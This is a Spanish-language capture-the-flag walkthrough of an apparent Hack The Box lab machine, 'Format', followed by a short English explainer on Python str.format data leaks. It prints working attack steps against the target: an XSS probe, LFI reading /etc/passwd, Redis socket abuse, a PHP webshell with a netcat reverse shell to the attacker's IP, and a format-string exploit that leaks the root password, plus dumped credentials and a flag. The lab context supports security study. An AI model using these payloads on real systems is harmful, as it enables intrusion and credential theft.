Format

namp

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.213 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 17:26 CEST
Initiating SYN Stealth Scan at 17:26
Scanning 10.10.11.213 [65535 ports]
Discovered open port 22/tcp on 10.10.11.213
Discovered open port 80/tcp on 10.10.11.213
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 40.47% done; ETC: 17:27 (0:00:12 remaining)
Discovered open port 3000/tcp on 10.10.11.213
Completed SYN Stealth Scan at 17:27, 25.07s elapsed (65535 total ports)
Nmap scan report for 10.10.11.213
Host is up, received user-set (0.14s latency).
Scanned at 2023-06-19 17:26:58 CEST for 25s
Not shown: 43582 closed tcp ports (reset), 21950 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 25.17 seconds
           Raw packets sent: 121972 (5.367MB) | Rcvd: 50969 (2.039MB)

nmap -p22,80,3000 -sCV 10.10.11.213 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-19 17:32 CEST
Nmap scan report for 10.10.11.213
Host is up (0.090s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 c397ce837d255d5dedb545cdf20b054f (RSA)
|   256 b3aa30352b997d20feb6758840a517c1 (ECDSA)
|_  256 fab37d6e1abcd14b68edd6e8976727d7 (ED25519)
80/tcp   open  http    nginx 1.18.0
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0
3000/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
```

En el puerto 3000 nos redirige al dominio **microblog.htb** así que lo añadimos en el /etc/hosts.
Si intentamos acceder a la web del puerto 80 nos redirige al subdominio **app.microblog.htb** así que lo añadimos también.
Visitamos la web principal, en este caso el subdominio.

microblog.htb

```
vim /etc/hosts
#Put 10.10.11.213 app.microblog.htb
#On firefox go to http://app.microblog.htb

#Found http://app.microblog.htb/login/
```

Nos registramos en la web, creamos un subdominio y lo añadimos al /etc/hosts.

```
vim /etc/hosts

10.10.11.213 some.microblog.htb

#Go to http://some.microblog.htb/edit/
```

Una vez añadido podemos editar el subdominio, así que probamos a realizar un XSS.

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~input
<script>alert(document.cookie)</script>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~output
username=jlrn09q5ffgivl41hdmeelvhmv
```

Como podemos observar se trata de un XSS Stored.

Probamos a capturar una petición del registro TXT del subdominio e intentamos realizar un LFI.

```
#Go to burpsuite and try LFI.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~request
POST /edit/index.php HTTP/1.1

Host: some.microblog.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 40

Origin: http://some.microblog.htb

Connection: close

Referer: http://some.microblog.htb/edit/

Cookie: username=jlrn09q5ffgivl41hdmeelvhmv

Upgrade-Insecure-Requests: 1



id=../../../../../../etc/passwd&txt=hola

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~response
/etc/passwd
```

```
root:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:
1:1:daemon:\/usr\/sbin:\/usr\/sbin\/
nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/
nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/
nologin\nsync:x:4:65534:sync:\/bin:\/bin\/
sync\ngames:x:5:60:games:\/usr\/games:\/usr\/
sbin\/nologin\nman:x:6:12:man:\/var\/cache\/
man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/
lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/
mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/
spool\/news:\/usr\/sbin\/nologin\nuucp:x:
10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/
nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/
nologin\nwww-data:x:33:33:www-data:\/var\/
www:\/usr\/sbin\/nologin\nbackup:x:
34:34:backup:\/var\/backups:\/usr\/sbin\/
nologin\nlist:x:38:38:Mailing List Manager:\/var\/
list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/
ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats
Bug-Reporting System (admin):\/var\/lib\/gnats:\/
usr\/sbin\/nologin\nnobody:x:
65534:65534:nobody:\/nonexistent:\/usr\/sbin\/
nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/
sbin\/nologin\nsystemd-network:x:
101:102:systemd Network Management,,,:\/run\/
systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:
102:103:systemd Resolver,,,:\/run\/systemd:\/
usr\/sbin\/nologin\nsystemd-timesync:x:
999:999:systemd Time Synchronization:\/:\/usr\/
sbin\/nologin\nsystemd-coredump:x:
998:998:systemd Core Dumper:\/:\/usr\/sbin\/
nologin\ncooper:x:1000:1000::\/home\/cooper:\/
bin\/bash\nredis:x:103:33::\/var\/lib\/redis:\/usr\/
sbin\/nologin\ngit:x:104:111:Git Version
Control,,,:\/home\/git:\/bin\/
bash\nmessagebus:x:105:112::\/nonexistent:\/
usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/
sshd:\/usr\/sbin\/nologin\n_laurel:x:997:997::\/
var\/log\/laurel:\/bin\/false\n<\/div>".replace(/
(\r\n|\n|\r)/gm, "")
```

En efecto, el campo id es vulnerable a LFI, y descubrimos 2 usuarios: cooper y git.

Visitamos la web por el puerto 3000, se trata de un Gitea y el usuario Cooper tiene un repositorio. Como vemos en la imagen se trata de los archivos de la web y el subdominio, así que le echamos un vistazo al código en busca de vulnerabilidades.

http://microblog.htb:3000/cooper/microblog

Entre las líneas 25 y 35 podemos encontrar esta parte del código bastante interesante. Podemos ver que si la condición isPro es True entonces podremos subir algún tipo de archivo, aunque seguramente solo sean imágenes. De alguna forma debemos convertirnos en Pro para poder subir archivos a la web.
index.php

```
<?php
$username = session_name("username");
session_set_cookie_params(0, '/',
'.microblog.htb');
session_start();

function checkAuth() {
    return(isset($_SESSION['username']));
}

function getFirstName() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $firstName = $redis-
>HGET($_SESSION['username'], "first-name");
        return "\"" . ucfirst(strval($firstName)) .
"\"";
    }
}

function isPro() {
    if(isset($_SESSION['username'])) {
        $redis = new Redis();
        $redis->connect('/var/run/redis/redis.sock');
        $pro = $redis-
>HGET($_SESSION['username'], "pro");
        return strval($pro);
    }
    return "false";
}
```

intrusion

El servidor funciona mediante REDIS, para poder convertir nuestra cuenta en Pro debemos apuntar al socket y en formato HSET. HSET básicamente lo que haces cambiar los valores de los campos especificados.
#user “pro”

```
curl -X "HSET" http://microblog.htb/static/unix:%2fvar%2frun%2fredis%2fredis.sock:alle%20pro%20true%20a/b
<html>
<head><title>502 Bad Gateway</title></head>
<body>
<center><h1>502 Bad Gateway</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
```

Una vez seamos usuario *Pro* enviamos una petición mediante *Burpsuite* y ejecutamos un *ping* hacia nuestra máquina de atacante.
#Burpsuite

```
id=/var/www/microblog/hyper/uploads/rev.php&txt=<%3fphp+echo+shell_exec("ping+-c+1+10.10.14.119")%3b%3f>
```

Nos quedamos a la escucha de trazas ICMP por la interfaz tun0. Una vez enviada la petición debemos visitar la siguiente ruta de la web.
http://some.microblog.htb/uploads/rev.php2

```
sudo tcpdump -n -i tun0 icmp
sudo: unable to resolve host kali: Name or service not known
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:35:11.013345 IP 10.10.14.1 > 10.10.14.71: ICMP redirect 10.10.14.8 to host 10.10.14.8, length 68
13:35:12.032323 IP 10.10.14.1 > 10.10.14.71: ICMP redirect 10.10.14.8 to host 10.10.14.8, length 68
13:35:14.051059 IP 10.10.14.1 > 10.10.14.71: ICMP redirect 10.10.14.8 to host 10.10.14.8, length 68
13:35:18.145893 IP 10.10.14.1 > 10.10.14.71: ICMP redirect 10.10.14.8 to host 10.10.14.8, length 68
13:35:26.337592 IP 10.10.14.1 > 10.10.14.71: ICMP redirect 10.10.14.8 to host 10.10.14.8, length 68
13:35:42.466881 IP 10.10.14.1 > 10.10.14.71: ICMP redirect 10.10.14.8 to host 10.10.14.8, length 68
13:36:15.490553 IP 10.10.14.1 > 10.10.14.71: ICMP redirect 10.10.14.8 to host 10.10.14.8, length 68
```

#Put the reques on the header secion.
rev.req

```
id=/var/www/microblog/test/uploads/rev.php&txt=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.159+4444+>/tmp/f")%3b%3f>
```

#Go to http://test.microblog.htb/uploads/rev.php and the shell will run.

```
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.159] from (UNKNOWN) [10.10.11.213] 42704
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ redis-cli -s /var/run/redis/redis.sock
keys *
test
cooper.dooper:sites
PHPREDIS_SESSION:5aph1kjhe5j6gpuv3vgp47k865
alle
alle:sites
cooper.dooper
$ HGETALL cooper.dooper
username
cooper.dooper
password
zooperdoopercooper
first-name
Cooper
last-name
Dooper
pro
false
```

~La contraseña está en la línea 4.

#Login in ssh with cooper.

#Creeds.
user → cooper.dooper
passwd → zooperdoopercooper

```
ssh cooper@10.10.11.213
passwd → zooperdoopercooper
```

privilege-escalation

```
sudo -l
[sudo] password for cooper:
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license

cat /usr/bin/license
```

Si leemos el archivo podemos realizar un Python Format String Vulnerabilities. Nos conectamos con redis y obtenemos la contraseña en texto plano.

```
cooper@format:~$ redis-cli -s /var/run/redis/redis.sock
redis /var/run/redis/redis.sock> HMSET test first-name "{license.__init__.__globals__[secret_encoded]}" last-name test username test
OK
redis /var/run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p test

Plaintext license key:
------------------------------------------------------
microblogtesthbFmWiU2_=~GzxQnbfA<|_e?zA;<RG3$H;$V\PHib'unCR4ckaBL3Pa$$w0rd'test

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkpclVi4Ybb6rNN_B1--qv-n-y4JSbdAxOgr2ngmSkAIJkHMllfo2wSqtF-62IlDrmHCkEOlYCmNPI8LARfm0KbQOdNIwm734DlUWJoPJHrYPv-cWmxftMCLQtfNTfbE0IOL6-kRpmT0fSQgBvbVD7Y7cMR-Ic8XkBWJknJEZoyVODWBA=

#Podemos ver la contraseña: unCR4ckaBL3Pa$$w0rd

cooper@format:~$ su root
Password:
root@format:/home/cooper# car toor
bash: car: command not found
root@format:/home/cooper# cat root.txt
cat: root.txt: No such file or directory
root@format:/home/cooper# cd
root@format:~# cat root.txt
b599d66ee4f763176e2673225b86766a
root@format:~#
```

python3-format-string-vuln

Prerequisites: Python – format() function

str.format() is one of the string formatting methods in Python3, which allows multiple substitutions and value formatting. This method lets us concatenate elements within a string through positional formatting. It seems quite a cool thing. But the vulnerability comes when our Python app uses str.format in the user-controlled string. This vulnerability may lead attackers to get access to sensitive information.

Note: This issue has been reported here
str format vulnerability

So how come this becomes a vulnerability. Let’s see the following example

Example:

```
# Let us assume this CONFIG holds some sensitive information
CONFIG = {
    "KEY": "ASXFYFGK78989"
}

class PeopleInfo:
    def __init__(self, fname, lname):
        self.fname = fname
        self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
    return avatar_str.format(people_obj = people_obj)


# Driver Code
people = PeopleInfo('GEEKS', 'FORGEEKS')

# case 1: st obtained from user
st = input()
get_name_for_avatar(st, people_obj = people)
```

Case 1:
when user gives the following str as input

```
Avatar_{people_obj.fname}_{people_obj.lname}
```

Output:

```
Avatar_GEEKS_FORGEEKS
```

Case 2:
when user inputs the following str as input

```
{people_obj.__init__.__globals__[CONFIG][KEY]}
```

Output:

```
ASXFYFGK78989
```

This is because string formatting functions could access attributes objects as well which could leak data. Now a question might arise. Is it bad to use str.format()?. No, but it becomes vulnerable when it is used over user-controlled strings.